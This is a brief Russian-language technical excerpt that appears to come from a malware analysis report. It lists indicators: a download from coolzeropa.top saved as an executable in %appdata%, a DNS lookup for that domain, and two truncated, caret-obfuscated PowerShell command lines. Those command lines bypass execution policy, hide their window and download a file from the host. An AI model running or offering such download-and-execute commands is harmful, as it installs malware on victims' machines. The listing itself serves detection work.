Техническая информация
- http://coolzeropa.top/admin.php?f=0.dat как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "PO^We^rsHeLl^.e^x^E^ -^E^x^ecuTI^ONpOli^cy BY^pAs^S ^-Nop^rOFiL^E^ -Wi^nD^owStyL^E^ ^hI^ddeN (^n^ew^-O^B^je^Ct SYSTE^M.nE^T^.W^e^b^c^LiENT).d^oW^N^load^F^iLe^('http://coolzeropa...
- DNS ASK co###eropa.top
- '<SYSTEM32>\cmd.exe' /C "PO^We^rsHeLl^.e^x^E^ -^E^x^ecuTI^ONpOli^cy BY^pAs^S ^-Nop^rOFiL^E^ -Wi^nD^owStyL^E^ ^hI^ddeN (^n^ew^-O^B^je^Ct SYSTE^M.nE^T^.W^e^b^c^LiENT).d^oW^N^load^F^iLe^('http://coolzeropa...' (со скрытым окном)